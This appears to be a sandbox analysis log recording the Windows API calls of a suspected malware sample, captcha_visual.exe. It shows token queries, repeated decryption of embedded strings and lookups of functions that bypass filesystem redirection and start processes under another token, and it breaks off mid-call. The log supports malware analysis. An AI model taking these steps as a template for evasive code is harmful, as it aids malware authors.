# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 28.10.2020 09:06:07.695 Process: id = "1" image_name = "captcha_visual.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\captcha_visual.exe" page_root = "0x37f7f000" os_pid = "0xac8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\captcha_visual.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x3a4 [0044.941] GetVersion () returned 0x1db10106 [0044.941] GetCurrentProcess () returned 0xffffffff [0044.941] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18ff70 | out: TokenHandle=0x18ff70*=0xa0) returned 1 [0044.947] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x18ff74, TokenInformationLength=0x4, ReturnLength=0x18ff78 | out: TokenInformation=0x18ff74, ReturnLength=0x18ff78) returned 1 [0044.947] CloseHandle (hObject=0xa0) returned 1 [0044.948] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\captcha_visual.exe\" " [0044.948] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\captcha_visual.exe\" ", pNumArgs=0x18ff78 | out: pNumArgs=0x18ff78) returned 0x534b38*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\captcha_visual.exe" [0044.948] GetProcessHeap () returned 0x520000 [0044.948] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x534bc0 [0044.948] GetProcessHeap () returned 0x520000 [0044.948] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2c) returned 0x534bd0 [0044.948] CryptAcquireContextW (in: phProv=0x534bd0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x534bd0*=0x534c08) returned 1 [0045.393] GetProcessHeap () returned 0x520000 [0045.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x536948 [0045.393] CryptImportKey (in: hProv=0x534c08, pbData=0x18fef0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x535ee8) returned 1 [0045.395] CryptDecrypt (in: hKey=0x535ee8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x536948, pdwDataLen=0x534bf8 | out: pbData=0x536948, pdwDataLen=0x534bf8) returned 1 [0045.397] CryptDestroyKey (hKey=0x535ee8) returned 1 [0045.397] GetSystemWindowsDirectoryW (in: lpBuffer=0x41a020, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0045.397] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x41a228, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\captcha_visual.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\captcha_visual.exe")) returned 0x38 [0045.397] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x41b228, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0045.404] GetProcessHeap () returned 0x520000 [0045.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x534eb8 [0045.404] GetProcessHeap () returned 0x520000 [0045.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536c10 [0045.404] GetProcessHeap () returned 0x520000 [0045.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x536168 [0045.404] GetProcessHeap () returned 0x520000 [0045.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x533fc8 [0045.404] CryptImportKey (in: hProv=0x534c08, pbData=0x18fef8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536e08) returned 1 [0045.404] CryptDecrypt (in: hKey=0x536e08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x533fc8, pdwDataLen=0x18ff60 | out: pbData=0x533fc8, pdwDataLen=0x18ff60) returned 1 [0045.404] CryptDestroyKey (hKey=0x536e08) returned 1 [0045.404] GetProcessHeap () returned 0x520000 [0045.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x533ff0 [0045.404] CryptImportKey (in: hProv=0x534c08, pbData=0x18fef8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536e08) returned 1 [0045.404] CryptDecrypt (in: hKey=0x536e08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x533ff0, pdwDataLen=0x18ff60 | out: pbData=0x533ff0, pdwDataLen=0x18ff60) returned 1 [0045.404] CryptDestroyKey (hKey=0x536e08) returned 1 [0045.404] GetProcessHeap () returned 0x520000 [0045.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x534f28 [0045.405] CryptImportKey (in: hProv=0x534c08, pbData=0x18fef8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536e08) returned 1 [0045.405] CryptDecrypt (in: hKey=0x536e08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x534f28, pdwDataLen=0x18ff60 | out: pbData=0x534f28, pdwDataLen=0x18ff60) returned 1 [0045.405] CryptDestroyKey (hKey=0x536e08) returned 1 [0045.405] GetProcessHeap () returned 0x520000 [0045.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x536e08 [0045.405] CryptImportKey (in: hProv=0x534c08, pbData=0x18fef8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536e90) returned 1 [0045.405] CryptDecrypt (in: hKey=0x536e90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x536e08, pdwDataLen=0x18ff64 | out: pbData=0x536e08, pdwDataLen=0x18ff64) returned 1 [0045.405] CryptDestroyKey (hKey=0x536e90) returned 1 [0045.405] GetProcessHeap () returned 0x520000 [0045.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x536c20 [0045.405] GetProcessHeap () returned 0x520000 [0045.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd) returned 0x536180 [0045.405] GetProcessHeap () returned 0x520000 [0045.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f) returned 0x534018 [0045.405] GetProcessHeap () returned 0x520000 [0045.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1e) returned 0x534040 [0045.405] GetProcessHeap () returned 0x520000 [0045.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd) returned 0x536198 [0045.405] GetProcessHeap () returned 0x520000 [0045.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x536e90 [0045.405] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0045.406] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0045.406] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0045.406] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0045.406] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0045.406] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0045.406] GetProcessHeap () returned 0x520000 [0045.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e08 | out: hHeap=0x520000) returned 1 [0045.406] GetProcessHeap () returned 0x520000 [0045.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536180 | out: hHeap=0x520000) returned 1 [0045.406] GetProcessHeap () returned 0x520000 [0045.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534018 | out: hHeap=0x520000) returned 1 [0045.406] GetProcessHeap () returned 0x520000 [0045.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534040 | out: hHeap=0x520000) returned 1 [0045.406] GetProcessHeap () returned 0x520000 [0045.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536198 | out: hHeap=0x520000) returned 1 [0045.406] GetProcessHeap () returned 0x520000 [0045.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e90 | out: hHeap=0x520000) returned 1 [0045.406] GetProcessHeap () returned 0x520000 [0045.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536c20 | out: hHeap=0x520000) returned 1 [0045.406] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18ff58, cchData=32 | out: lpLCData="\x03") returned 16 [0045.408] GetProcessHeap () returned 0x520000 [0045.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x536c20 [0045.408] GetProcessHeap () returned 0x520000 [0045.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x536e08 [0045.408] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536eb0) returned 1 [0045.408] CryptDecrypt (in: hKey=0x536eb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x536e08, pdwDataLen=0x18ff48 | out: pbData=0x536e08, pdwDataLen=0x18ff48) returned 1 [0045.408] CryptDestroyKey (hKey=0x536eb0) returned 1 [0045.408] GetProcessHeap () returned 0x520000 [0045.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536c30 [0045.408] GetProcessHeap () returned 0x520000 [0045.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12) returned 0x536eb0 [0045.408] GetProcessHeap () returned 0x520000 [0045.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536c40 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x534040 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536ed0 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x536198 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536ee0 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x534018 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536ef0 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x536180 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536f00 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x26) returned 0x536f10 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x536f40 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x536f50 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e08 | out: hHeap=0x520000) returned 1 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x536e08 [0045.409] GetProcessHeap () returned 0x520000 [0045.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x534068 [0045.409] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536e18) returned 1 [0045.409] CryptDecrypt (in: hKey=0x536e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x534068, pdwDataLen=0x18ff48 | out: pbData=0x534068, pdwDataLen=0x18ff48) returned 1 [0045.409] CryptDestroyKey (hKey=0x536e18) returned 1 [0045.409] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537228 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x5361b0 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534068 | out: hHeap=0x520000) returned 1 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x537238 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x534068 [0045.410] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536e18) returned 1 [0045.410] CryptDecrypt (in: hKey=0x536e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x534068, pdwDataLen=0x18ff48 | out: pbData=0x534068, pdwDataLen=0x18ff48) returned 1 [0045.410] CryptDestroyKey (hKey=0x536e18) returned 1 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537248 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x534090 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534068 | out: hHeap=0x520000) returned 1 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x537258 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a0) returned 0x536f70 [0045.410] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x536e18) returned 1 [0045.410] CryptDecrypt (in: hKey=0x536e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x536f70, pdwDataLen=0x18ff48 | out: pbData=0x536f70, pdwDataLen=0x18ff48) returned 1 [0045.410] CryptDestroyKey (hKey=0x536e18) returned 1 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537268 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537278 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537288 [0045.410] GetProcessHeap () returned 0x520000 [0045.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537298 [0045.410] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5372a8 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5372b8 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5372c8 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5372d8 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5372e8 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5361c8 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5372f8 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5361e0 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537308 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5361f8 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537318 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537328 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537338 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537348 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537358 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537368 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537378 [0045.411] GetProcessHeap () returned 0x520000 [0045.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x537388 [0045.411] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537398 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x536e18 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5373a8 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x536210 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5373b8 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x536228 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5373c8 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5373d8 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5373e8 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5373f8 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537408 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537418 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537428 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537438 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537448 [0045.412] GetProcessHeap () returned 0x520000 [0045.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537458 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537468 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537478 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537488 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537498 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5374a8 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5374b8 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5374c8 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5374d8 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5374e8 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x536240 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5374f8 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537508 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537518 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537528 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537538 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537548 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537558 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x536258 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537568 [0045.413] GetProcessHeap () returned 0x520000 [0045.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537578 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537588 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537598 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5375a8 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5375b8 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5375c8 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5375d8 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5375e8 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5375f8 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537628 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537638 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537648 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537658 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537668 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x536270 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537678 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537688 [0045.414] GetProcessHeap () returned 0x520000 [0045.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537698 [0045.414] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12) returned 0x536e38 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5376a8 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x536288 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5376b8 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x5362a0 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5376c8 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5376d8 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5376e8 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5362b8 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5376f8 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5362d0 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536f70 | out: hHeap=0x520000) returned 1 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x537708 [0045.415] GetProcessHeap () returned 0x520000 [0045.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1e0) returned 0x536f70 [0045.415] CryptImportKey (in: hProv=0x534c08, pbData=0x18fee0, dwDataLen=0x2c, 